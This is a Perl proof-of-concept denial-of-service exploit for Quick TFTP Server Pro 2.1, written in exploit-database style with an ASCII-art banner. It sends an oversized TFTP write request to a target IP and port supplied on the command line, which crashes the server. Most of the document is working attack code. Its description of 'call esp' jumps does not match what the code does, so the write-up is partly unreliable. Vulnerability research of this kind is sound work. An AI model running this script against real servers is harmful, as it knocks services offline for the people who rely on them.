#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: Quick TFTP Server Pro 2.1 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 12 january 2024 # Vendor Homepage: https://www.tallsoft.com/ # Download to demo: https://drive.google.com/file/d/1Q4tIYjtv9Aqe5VE1fwnT18d3Cc-xkYEX/view?usp=sharing # Notification vendor: No reported # Tested Version: Quick TFTP Server Pro 2.1 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=yz7_ImFYueA #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to TFTP. #The following request sends a large amount of data to the TFTP to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); my $filename = "exploit"; $shell = "A"x317; my $mode = "A" x 1360; my $muha = "\x00\x02" .$filename . "\x00" .$mode; socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname('udp')) or die "socket() failed: $!"; send(SOCKET, $muha, 0, sockaddr_in($port, inet_aton($ip))) or die "send() failed: $!"; print "\t ==> Done! Exploited!"; sub intro { print q { _________ | | | Exploit |==( ) ////// |_________| ||| | o o| ||| ( c ) ____ ||| \= / || \_ |||||| || | |||||| ...||__/|-" |||||| __|________|__ ||| |______________| ||| || || || || ||| || || || || ------------|||-------------||-||------||-||------- |__> || || || || [+] Quick TFTP Server Pro 2.1 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated